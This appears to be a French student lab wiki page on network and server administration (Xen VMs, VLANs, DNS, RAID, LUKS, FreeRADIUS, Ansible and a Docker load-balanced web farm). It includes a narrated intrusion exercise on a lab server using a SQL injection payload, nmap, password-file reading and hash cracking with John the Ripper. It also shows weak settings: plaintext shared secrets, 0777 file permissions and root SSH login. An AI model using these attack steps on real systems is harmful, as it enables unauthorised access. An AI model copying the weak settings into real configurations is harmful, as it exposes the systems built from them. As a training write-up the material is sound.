− | + | En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : | |
− | '' | ||
− | == | + | [[Fichier:Mitm-pra.png|600px]] |
+ | |||
+ | ==Intrusion sur un serveur d’application Web== | ||
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : | Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : | ||
Ligne 354 : | Ligne 613 : | ||
' OR 1 = 1 -- | ' OR 1 = 1 -- | ||
− | D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter | + | D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter. |
nmap -T4 -A honey.plil.info | nmap -T4 -A honey.plil.info | ||
Ligne 366 : | Ligne 625 : | ||
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner. | De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner. | ||
− | De retour sur la 1ere page, on se connecte sur honey.plil.info avec les | + | De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page. |
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe. | On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe. | ||
Ligne 374 : | Ligne 633 : | ||
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root. | Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root. | ||
− | Pour avoir | + | Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire. |
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé. | Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé. | ||
− | Quelques temps plus tard... John nous donne le mot de passe root ! | + | Quelques temps plus tard... John the Ripper nous donne le mot de passe root ! |
− | Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe " | + | Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" : |
[[Fichier:Hack-honey.png|600px]] | [[Fichier:Hack-honey.png|600px]] | ||
− | = | + | =Réalisations= |
− | == | + | |
+ | ==Sécurisation de données : RAID 5 logiciel== | ||
+ | |||
+ | Tout d'abord, on crée 3 partitions virtuelles : | ||
+ | |||
+ | lvcreate -L1G -n piedbleu-raid1 storage | ||
+ | |||
+ | Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent. | ||
+ | |||
+ | Tout d'abord, on installe le paquet mdadm. | ||
+ | apt instal mdadm | ||
+ | |||
+ | Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage. | ||
+ | mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 | ||
+ | mdadm --monitor --daemonise /dev/md0 | ||
+ | |||
+ | On formate notre volume RAID. | ||
+ | mkfs.ext4 /dev/md0 | ||
+ | |||
+ | On rajoute cette ligne dans le fstab : | ||
+ | /dev/md0 /raid5 ext4 defaults 0 2 | ||
+ | |||
+ | Pour finir, on peuple notre volume RAID. | ||
+ | mkdir /raid5 | ||
+ | mount -a | ||
+ | touch /raid5/test | ||
+ | |||
+ | RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque. | ||
+ | On peut donc supprimer une partition et toujours avoir accès à nos fichiers. | ||
+ | |||
+ | ==Chiffrement de données== | ||
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : | Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : | ||
− | + | fdisk -l # on repère la clé USB | |
− | + | fdisk /dev/sdb # on formate la clé en une seule partition | |
− | + | cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB | |
− | + | cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition | |
− | + | mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4 | |
Ensuite, on monte la clé USB, et on la peuple : | Ensuite, on monte la clé USB, et on la peuple : | ||
− | + | mkdir /mnt/USB | |
− | + | mount -t ext4 /dev/mapper/myusbkey /mnt/USB | |
− | + | touch /mnt/USB/mytestfile.txt | |
Une fois que l'on a fini, on démonte le système de fichier proprement : | Une fois que l'on a fini, on démonte le système de fichier proprement : | ||
− | + | umount /mnt/USB | |
− | + | cryptsetup luksClose myusbkey | |
+ | |||
+ | ==Sécurisation WiFi par WPA2-EAP == | ||
+ | |||
+ | ===FreeRADIUS=== | ||
+ | |||
+ | Tout d'abord, on configure le serveur FreeRADIUS sur notre VM. | ||
+ | |||
+ | On installe le paquet : | ||
+ | apt install freeradius | ||
+ | |||
+ | Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf : | ||
+ | |||
+ | client 10.60.100.10/24 { | ||
+ | shortname = Piedbleu | ||
+ | secret = pasglop | ||
+ | } | ||
+ | |||
+ | On ajoute un utilisateur FreeRADIUS "pifou" dans le fichier de configuration /etc/freeradius/3.0/users : | ||
+ | |||
+ | pifou Cleartext-Password := "pasglop" | ||
+ | |||
+ | Pour finir, on configure l'authentification PEAP-MSCHAPv2. | ||
+ | |||
+ | On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap : | ||
+ | |||
+ | eap{ | ||
+ | ... | ||
+ | default_eap_type = peap | ||
+ | ... | ||
+ | } | ||
+ | |||
+ | Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap : | ||
+ | |||
+ | use_mppe = yes | ||
+ | require_encryption = yes | ||
+ | require_strong = yes | ||
+ | with_ntdomain_hack = yes | ||
+ | |||
+ | ===Point d'accès WiFi=== | ||
+ | |||
+ | Ensuite, on configure le point d'accès WiFi. | ||
+ | |||
+ | ssh root@10.60.100.10 -c aes128-cbc | ||
+ | |||
+ | aaa authentication login eap_group1 group radius_group8 | ||
+ | radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop | ||
+ | aaa group server radius radius_group8 | ||
+ | server 193.48.57.181 auth-port 1812 acct-port 1813 | ||
+ | exit | ||
+ | |||
+ | Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 : | ||
+ | |||
+ | dot11 ssid Piedbleu | ||
+ | vlan 308 | ||
+ | authentication open eap eap_group8 | ||
+ | authentication network-eap eap_group8 | ||
+ | authentication key-management wpa | ||
+ | Mbssid Guest-mode | ||
+ | exit | ||
+ | |||
+ | Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption: | ||
+ | |||
+ | interface Dot11Radio0 | ||
+ | Mbssid | ||
+ | encryption vlan 308 mode ciphers aes-ccm tkip | ||
+ | ssid Piedbleu | ||
+ | exit | ||
+ | |||
+ | Encapsulation: | ||
+ | |||
+ | int dot11radio0.8 | ||
+ | encapsulation dot1q 308 | ||
+ | bridge-group 8 | ||
+ | exit | ||
+ | int Gi0.8 | ||
+ | encapsulation dot1q 308 | ||
+ | bridge-group 8 | ||
+ | exit | ||
+ | |||
+ | En n'oubliant pas de démarrer l'interface : | ||
+ | |||
+ | int dot11radio0 | ||
+ | no shutdown | ||
+ | end | ||
+ | write | ||
+ | |||
+ | Ping du point d'accès vers notre VM : | ||
+ | |||
+ | [[Fichier:Freeradius-ping.png|600px]] | ||
+ | |||
+ | On observe notre SSID "Piedbleu" : | ||
+ | |||
+ | [[Fichier:Freeradius-ssid.png|600px]] | ||
+ | |||
+ | On s'y connecte avec notre téléphone tout en lançant la commande : | ||
+ | |||
+ | freeradius -X | ||
+ | |||
+ | ===DHCP=== | ||
+ | |||
+ | '''6509E''' | ||
+ | |||
+ | ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc | ||
+ | |||
+ | ip dhcp pool groupe8 | ||
+ | dns 193.48.57.181 | ||
+ | network 10.60.108.0 255.255.255.0 | ||
+ | default-router 10.60.108.1 | ||
+ | exit | ||
+ | ip dhcp excluded-address 10.60.108.0 10.60.108.99 | ||
+ | ip dhcp excluded-address 10.60.108.150 10.60.108.255 | ||
+ | write | ||
+ | exit | ||
+ | sh ip dhcp binding | ||
+ | |||
+ | '''C9200''' | ||
+ | |||
+ | ssh admin@10.60.100.2 | ||
+ | |||
+ | ip dhcp pool groupe8 | ||
+ | dns 193.48.57.181 | ||
+ | network 10.60.108.0 255.255.255.0 | ||
+ | default-router 10.60.108.2 | ||
+ | exit | ||
+ | ip dhcp excluded-address 10.60.108.0 10.60.108.49 | ||
+ | ip dhcp excluded-address 10.60.108.100 10.60.108.255 | ||
+ | exit | ||
+ | write | ||
+ | sh ip dhcp binding | ||
+ | |||
+ | ===Mascarade=== | ||
+ | |||
+ | '''6509E''' | ||
+ | |||
+ | int vlan 308 | ||
+ | ip nat inside | ||
+ | |||
+ | access-list 108 permit ip 10.60.108.0 0.0.0.255 any | ||
+ | ip nat inside source list 108 interface Loopback0 overload | ||
+ | |||
+ | =Ferme de serveurs Web= | ||
+ | |||
+ | Le but d’implanter une architecture d’équilibrage de charge pour le site Web : http://champi.piedbleu.site | ||
+ | |||
+ | Le résultat est visible à l'adresse : http://champi.piedbleu.site/server-status | ||
+ | |||
+ | ==Architecture générale de la ferme== | ||
+ | |||
+ | '''Configuration réseau de la VM Capbreton''' | ||
+ | |||
+ | Dans /etc/xen/Capbreton.cfg, on ajoute une interface réseau : | ||
+ | |||
+ | vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C', | ||
+ | 'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D', | ||
+ | ] | ||
+ | |||
+ | On redémarre ensuite la VM. | ||
+ | |||
+ | Dans /etc/network/interfaces, on configure notre nouvelle interface : | ||
+ | |||
+ | auto eth1 | ||
+ | iface eth1 inet static | ||
+ | address 192.168.42.8 | ||
+ | netmask 255.255.255.0 | ||
+ | |||
+ | Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne. | ||
+ | |||
+ | #Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128"; | ||
+ | |||
+ | '''Configuration réseau de la VM Chassiron''' | ||
+ | |||
+ | Dans /etc/network/interfaces, on configure notre interface : | ||
+ | |||
+ | auto eth0 | ||
+ | iface eth0 inet static | ||
+ | address 192.168.42.22 | ||
+ | netmask 255.255.255.0 | ||
+ | gateway 192.168.42.8 | ||
+ | |||
+ | Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy : | ||
+ | |||
+ | #Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128"; | ||
+ | |||
+ | Puis on modifie le fichier /etc/resolv.conf : | ||
+ | |||
+ | domain plil.info | ||
+ | nameserver 192.168.42.8 | ||
+ | |||
+ | '''Mascarade''' | ||
+ | |||
+ | On met en place une mascarade sur notre machine principale pour permettre à notre machine secondaire d’avoir un accès à Internet. | ||
+ | |||
+ | Tout d'abord, on modifie le fichier /etc/systcl.conf : | ||
+ | |||
+ | net.ipv4.ip_forward=1 | ||
+ | |||
+ | Ensuite, on lance la commande suivante : | ||
+ | |||
+ | echo 1 > /proc/sys/net/ipv4/conf/all/forwarding | ||
+ | |||
+ | Pour finir, on configure iptables : | ||
+ | |||
+ | iptables -P FORWARD DROP | ||
+ | iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32 | ||
+ | iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32 | ||
+ | iptables -P FORWARD DROP | ||
+ | iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32 | ||
+ | |||
+ | apt install iptables-persistent | ||
+ | |||
+ | Tests : | ||
+ | |||
+ | ping 192.168.42.22 #sur la VM capreton | ||
+ | ping 192.168.42.8 #sur la VM Chassiron | ||
+ | ping 8.8.8.8 #sur la VM Chassiron | ||
+ | apt update #sur la VM Chassiron | ||
+ | |||
+ | '''Clés SSH''' | ||
+ | |||
+ | On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x "entrée") : | ||
+ | |||
+ | ssh-keygen -b 2048 | ||
+ | |||
+ | Ensuite, on propage notre clé publique sur toutes les VM secondaires : | ||
+ | |||
+ | for i in $(cat liste_ip.txt); do echo ssh-copy-id root@"$i"; done | ||
+ | |||
+ | Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires. | ||
+ | |||
+ | Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires : | ||
+ | |||
+ | PermitRootLogin yes | ||
+ | |||
+ | dans le fichier /etc/ssh/sshd_config. | ||
+ | |||
+ | '''Installation d'Ansible''' | ||
+ | |||
+ | Nous passons à la configuration de nos serveurs Web. Nous utilisons pour cela le système ansible. | ||
+ | Nous commençons par installer ansible sur notre VM principale : | ||
+ | apt install ansible | ||
+ | |||
+ | Dans le fichier /etc/ansible/hosts, nous créons un inventaire en séparant l’ensemble des serveurs externes du notre : | ||
+ | |||
+ | [vmperso] | ||
+ | 192.168.42.22 | ||
+ | |||
+ | [vmChassiron] | ||
+ | 192.168.42.15 | ||
+ | 192.168.42.17 | ||
+ | 192.168.42.20 | ||
+ | 192.168.42.22 | ||
+ | 192.168.42.24 | ||
+ | 192.168.42.25 | ||
+ | 192.168.42.28 | ||
+ | |||
+ | '''Ansible rôle MOTD''' | ||
+ | |||
+ | Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine | ||
+ | Nous nous inspirons pour cette partie de la documentation d’ansible en ligne. | ||
+ | |||
+ | Tout d'abord, nous téléchargeons le rôle : | ||
+ | |||
+ | ansible-galaxy install adriagalin.motd | ||
+ | |||
+ | Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre VM secondaire sur Chassiron. Voici notre playbook (/etc/ansible/playbook.yml) : | ||
+ | |||
+ | Hosts : vmperso | ||
+ | Roles: | ||
+ | -{ role : adriagalin.motd } | ||
+ | |||
+ | Nous exécutons ensuite notre playbook.yml : | ||
+ | |||
+ | ansible-playbook playbook.yml | ||
+ | |||
+ | Nous obtenons le résultat voulu dans le fichier /etc/motd de notre VM située sur Chassiron : | ||
+ | |||
+ | [[Fichier:host.png | 600px]] | ||
+ | |||
+ | '''Ansible rôle NTP''' | ||
+ | |||
+ | Ici, on crée notre propre rôle pour configurer motd ET ntp, copier leur fichiers de configuration, et installer les paquets nécessaires pour la suite du TP. | ||
+ | |||
+ | Voici le main.yml de nôtre rôle "test" : | ||
+ | |||
+ | - name: installation des paquets | ||
+ | apt: | ||
+ | pkg: | ||
+ | - ntp | ||
+ | - python3 | ||
+ | - python3-pip | ||
+ | |||
+ | - name: installation de pip docker | ||
+ | pip: | ||
+ | name: docker | ||
+ | |||
+ | - name: copie des fichiers de configuration de NTP | ||
+ | copy: | ||
+ | src: "/etc/ntp.conf" | ||
+ | dest: "/etc/ntp.conf" | ||
+ | owner: root | ||
+ | group: root | ||
+ | mode: "0777" | ||
+ | |||
+ | - name: copie des fichiers de configuration de MOTD | ||
+ | copy: | ||
+ | src: "/etc/motd" | ||
+ | dest: "/etc/motd" | ||
+ | owner: root | ||
+ | group: root | ||
+ | mode: "0777" | ||
+ | |||
+ | Et voici notre playbook "test.yml" : | ||
+ | |||
+ | - hosts: vmperso | ||
+ | roles: | ||
+ | - test | ||
+ | |||
+ | ==Installation de Docker== | ||
+ | |||
+ | Le but de cette partie est d’installer docker sur notre VM secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants : | ||
+ | |||
+ | ansible-galaxy install geerlingguy.docker | ||
+ | |||
+ | Nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository : | ||
+ | |||
+ | - hosts: vmperso | ||
+ | roles: | ||
+ | - adriagalin.motd | ||
+ | - geerlingguy.docker | ||
+ | - registry | ||
+ | vars: | ||
+ | |||
+ | docker_apt_gpg_key : https://download.docker.com/linux/debian/gpg | ||
+ | docker_apt_repository: "deb [arch={{ docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel }}" | ||
+ | |||
+ | Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire. | ||
+ | |||
+ | |||
+ | D'un autre côté on installe docker sur notre VM principale, en lançant les commandes suivantes : | ||
+ | |||
+ | apt install software-properties-common apt-transport-https ca-certificates curl gnupg2* | ||
+ | |||
+ | curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add - | ||
+ | |||
+ | add-apt-repository \ | ||
+ | "deb [arch=amd64] https://download.docker.com/linux/debian \ | ||
+ | $(lsb_release -cs) \ | ||
+ | stable" | ||
+ | |||
+ | apt install docker-ce docker-ce-cli containerd.io | ||
+ | |||
+ | ==Création du conteneur== | ||
+ | |||
+ | Tout d'abord, dans notre VM principale, on fait le Dockerfile suivant (/root/docker/Dockerfile) : | ||
+ | |||
+ | FROM httpd:latest | ||
+ | |||
+ | COPY ./index.html /usr/local/apache2/htdocs/ | ||
+ | |||
+ | CMD [ "httpd", "-D", "FOREGROUND" ] | ||
+ | |||
+ | |||
+ | On vérifie que tout est ok sur notre VM principale : | ||
+ | |||
+ | docker build -t piedbleu . | ||
+ | docker images | ||
+ | REPOSITORY TAG IMAGE ID CREATED SIZE | ||
+ | piedbleu latest ec851c4fdad9 5 seconds ago 138MB | ||
+ | |||
+ | docker run -d piedbleu | ||
+ | docker ps -a | ||
+ | CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS | ||
+ | ae0c8f4106b6 piedbleu "httpd -D FOREGROUND" 16 seconds ago Up 12 seconds 80/tcp | ||
+ | |||
+ | On voit que notre conteneur, qui intègre tous les fichiers de notre site Web, a démarré apache2 automatiquement sur le port HTTP 80 classique. | ||
+ | |||
+ | |||
+ | Ensuite, on installe un dépôt docker local (Docker Registry) sur notre machine secondaire via la commande : | ||
+ | |||
+ | docker run -d -p 5000:5000 --restart always --name registry registry:2 | ||
+ | |||
+ | Pour exporter notre image "piedbleu" sur le dépôt local, depuis notre VM principale on lance la commande suivante : | ||
+ | |||
+ | docker tag piedbleu 192.168.42.22:5000/piedbleu | ||
+ | docker push 192.168.42.22:5000/piedbleu | ||
+ | |||
+ | Pour récupérer cette image sur notre VM secondaire on fait : | ||
+ | |||
+ | docker pull 192.168.42.22:5000/piedbleu | ||
+ | |||
+ | Pour autoriser les connexions http pour les push/pull, on ajoute sur les deux VM le fichier de configuration suivant (/etc/docker/daemon.json) : | ||
+ | |||
+ | { | ||
+ | "insecure-registries" : ["192.168.42.15:5000", "192.168.42.16:5000", "192.168.42.17:5000", "192.168.42.18:5000", "192.168.42.19:5000", "192.168.42.20:5000", "192.168.42.21:5000", "192.168.42.22:5000", "192.168.42.23:5000", "192.168.42.24:5000", "192.168.42.25:5000", "192.168.42.26:5000", "192.168.42.28:5000"] | ||
+ | } | ||
+ | |||
+ | |||
+ | Maintenant que notre docker push/pull fonctionne en HTTP, on fait notre propre rôle appelé "registry" pour déployer automatiquement l'image registry sur notre VM secondaire. On copie aussi le fichier de configuration daemon.json de notre VM Capbreton à notre VM Chassiron, puis on redémarre docker sur la VM Chassiron. | ||
+ | |||
+ | Voici le main.yml de ce rôle : | ||
+ | |||
+ | - name: copie fichier de config daemon.json | ||
+ | copy: | ||
+ | src: daemon.json | ||
+ | dest: /etc/docker/daemon.json | ||
+ | group: root | ||
+ | owner: root | ||
+ | mode: "0777" | ||
+ | notify: | ||
+ | - Restart docker | ||
+ | |||
+ | - meta: flush_handlers | ||
+ | |||
+ | - name: mise en place du registry sur notre vm secondaire | ||
+ | docker_container: | ||
+ | name: registry | ||
+ | image: registry | ||
+ | ports: | ||
+ | - "5000:5000" | ||
+ | |||
+ | Dans notre playbook on ajoute la ligne suivante : | ||
+ | |||
+ | - hosts: vmperso | ||
+ | roles: | ||
+ | ... | ||
+ | - registry | ||
+ | |||
+ | ==Configuration des serveurs internes== | ||
+ | |||
+ | Ici, on fait un rôle nouveau "déploiement" pour déployer notre conteneur depuis notre dépôt registry sur toutes les VM de Chassiron. | ||
+ | |||
+ | Pour que cela fonctionne, il faut que les autres groupes aient installé sur leur VM Chassiron python-pip, puis pip install docker : | ||
+ | |||
+ | apt autoremove python | ||
+ | apt install python3 python3-pip | ||
+ | ln -s /usr/bin/python3 /usr/bin/python | ||
+ | ln -s /usr/bin/pip3 /usr/bin/pip | ||
+ | pip install docker | ||
+ | service docker restart | ||
+ | |||
+ | Pour déployer notre conteneur Web, on fait un push sur la VM principale, un pull sur notre VM secondaire, puis on lance le rôle "deploiement". | ||
+ | |||
+ | Voici le main.yml de ce rôle : | ||
+ | |||
+ | - name : deploiement du conteneur web sur les serveurs Web internes | ||
+ | docker_container: | ||
+ | name: piedbleu | ||
+ | image: 192.168.42.22:5000/piedbleu | ||
+ | ports: | ||
+ | - "8088:80" | ||
+ | |||
+ | Dans notre playbook on ajoute les lignes suivantes : | ||
+ | |||
+ | - hosts: vmchassiron | ||
+ | roles: | ||
+ | - deploiement | ||
+ | |||
+ | Voici ce que l'on obtient lors du déploiement : | ||
+ | |||
+ | [[Fichier:Deploiement-des-vm.png | 600px ]] | ||
+ | |||
+ | En allant sur les VM Chassiron des membres du groupe 1, on vérifie que tout est ok : | ||
+ | |||
+ | root@oronge:~# docker ps -a | ||
+ | CONTAINER ID IMAGE PORTS NAMES | ||
+ | 3b9a3d5f74d6 192.168.42.22:5000/piedbleu 0.0.0.0:8088->80/tcp piedbleu | ||
+ | |||
+ | root@trompettedelamort:~# docker ps -a | ||
+ | CONTAINER ID IMAGE PORTS NAMES | ||
+ | 69b3cd72b4ef 192.168.42.22:5000/piedbleu 0.0.0.0:8088->80/tcp piedbleu | ||
+ | |||
+ | etc. | ||
+ | |||
+ | ==Equilibreur de charge== | ||
+ | |||
+ | Dans cette partie, on va mettre en place un second site web qui va se comporter comme un serveur mandataire inverse et un équilibreur de charge. | ||
+ | |||
+ | Tout d'abord, on active les modules Apache proxy, proxy_http, proxy_balancer, lbmethod_byrequests et mod_status avec les commandes : | ||
+ | |||
+ | a2enmod proxy proxy_http proxy_balancer lbmethod_byrequests status | ||
+ | service apache2 restart | ||
+ | |||
+ | On configure le fichier reverse.conf : | ||
+ | |||
+ | <VirtualHost *:80> | ||
+ | ServerName champi.piedbleu.site | ||
+ | ProxyPreserveHost On | ||
+ | ProxyPass /server-status ! | ||
+ | ProxyPass / "balancer://balancing" | ||
+ | ProxyPassReverse / "balancer://balancing" | ||
+ | <Location /server-status> | ||
+ | SetHandler server-status | ||
+ | Allow from all | ||
+ | </Location> | ||
+ | </VirtualHost> | ||
+ | |||
+ | Et enfin le fichier apache.conf : | ||
+ | |||
+ | Header add Set-Cookie "ROUTEID=.%{BALANCER_WORKER_ROUTE}e; path=/" env=BALANCER_ROUTE_CHANGED | ||
+ | <Proxy "balancer://balancing"> | ||
+ | BalancerMember "http://192.168.42.15:8088" route=1 | ||
+ | BalancerMember "http://192.168.42.17:8088" route=2 | ||
+ | BalancerMember "http://192.168.42.20:8088" route=3 | ||
+ | BalancerMember "http://192.168.42.22:8088" route=4 | ||
+ | BalancerMember "http://192.168.42.24:8088" route=5 | ||
+ | BalancerMember "http://192.168.42.25:8088" route=6 | ||
+ | BalancerMember "http://192.168.42.28:8088" route=7 | ||
+ | ProxySet stickysession=ROUTEID | ||
+ | </Proxy> | ||
+ | |||
+ | Ensuite, on ajoute un nouvel enregistrement de type CNAME dans le fichier de configuration de bind. | ||
+ | |||
+ | champi IN CNAME ns1 | ||
+ | |||
+ | On resigne les enregistrements de zone puis on redémarre bind9 : | ||
+ | |||
+ | dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk | ||
+ | service bind9 restart | ||
+ | |||
+ | Voici le résultat : | ||
+ | |||
+ | [[Fichier:Resultat-loadbalancer.png | 600px ]] | ||
+ | |||
+ | On peut tester notre équilibreur de charge en lançant la commande suivante : | ||
+ | |||
+ | while [ true ]; do curl -s http://champi.piedbleu.site > /dev/null; sleep 1; done | ||
+ | |||
+ | Tout en rafraîchissant la page suivante : | ||
+ | |||
+ | http://champi.piedbleu.site/server-status |
Version actuelle datée du 22 janvier 2021 à 20:33
Sommaire
Informations générales
Site web | IP publique | IP privée | VLAN | IPV4 | IPV4 6509-E | IPV4 C9200 | IPV4 Routeur | IPV6 |
---|---|---|---|---|---|---|---|---|
https://www.piedbleu.site | 193.48.57.181 | 100.64.0.21 | 308 | 10.60.108.0/24 | 10.60.108.1 | 10.60.108.2 | 10.60.108.254 | 2001:660:4401:60ba::0/64 |
Installation de la machine virtuelle Xen
Tout d'abord, on fait un SSH sur Capbreton.
Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.21 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force
On renomme les LVM avec lv rename :
lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var
On obtient (lvdispaly) :
--- Logical volume --- LV Path /dev/storage/piedbleu-home LV Name piedbleu-home VG Name storage LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA LV Write Access read/write LV Creation host, time Capbreton, 2020-10-12 16:38:58 +0100 LV Status available # open 1 LV Size 10.00 GiB Current LE 2560 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:12 --- Logical volume --- LV Path /dev/storage/piedbleu-var LV Name piedbleu-var VG Name storage LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1 LV Write Access read/write LV Creation host, time Capbreton, 2020-10-12 16:39:03 +0100 LV Status available # open 1 LV Size 10.00 GiB Current LE 2560 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:13
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg
Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w', phy:/dev/storage/piedbleu-var,xvda4,w',
Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc
Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu
Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3 mkfs.ext4 /dev/xvda4
On modifie le fstab en ajoutant :
/dev/xvda3 /home defaults 0 2 /dev/xvda4 /var defaults 0 2
Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.
On obtient :
Interconnexion de VLAN
Configuration IPv4
Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.
Routeur C9200
Nous nous connectons en ssh à partir de notre VM:
ssh admin@10.60.100.2
ensuite :
int vlan 308 vrrp 48 address-family ipv4 address 10.60.108.254 preempt vrrpv2 end write
On quitte avec exit et on sauvegarde avec write.
La commande show vlan nous affiche bien notre VLAN configuré.
Routeur 6509-E
ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc
int vlan 308 vrrp 48 ip 10.60.108.254 vrrp 48 preempt vrrp 48 priority 110 end write
On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.
Configuration IPv6
Routeur 6509-E
vlan 308 name piedbleu.site exit int vlan 308 no shut ip address 10.60.108.1 255.255.255.0 ipv6 enable ipv6 address 2001:660:4401:60ba::/64 eui-64 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900 ipv6 nd router-preference High end write
Routeur C9200
vlan 308 name piedbleu.site exit int vlan 308 no shut ip address 10.60.108.2 255.255.255.0 ipv6 enable ipv6 address 2001:660:4401:60ba::/64 eui-64 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900 ipv6 nd router-preference Low end write
Services Internet
Accès à Internet
Tout d'abord, on configure le fichier /etc/network/interfaces :
# The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address 193.48.57.181 netmask 255.255.255.255 up ip address add dev eth0 100.64.0.21/24 up ip route add default via 100.64.0.2 src 193.48.57.181 down ip address del dev eth0 100.64.0.21/24 down ip route del default via 100.64.0.2 src 193.48.57.181 iface eth0 inet6 auto
Ensuite, on fait un ssh sur les 2 routeurs, puis:
enable conf t ip route 193.48.57.181 255.255.255.255 100.64.0.21 exit write
On fait un ping pour tester :
ping google.fr
Serveur SSH
On modifie le fichier /etc/ssh/sshd_config. Ensuite on active le serveur ssh :
service ssh start
Puis sur un autre terminal, on fait un :
ssh root@193.48.57.181
Serveur DNS
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :
Nom de domaine > piedbleu.site > Glue Records ns1.piedbleu.site 193.48.57.181
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS) 1er : ns1.piedbleu.site
Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.
Nous commençons par installer le paquet bind:
apt install bind9
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:
1ère étape:
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf
name serveur 127.0.0.1
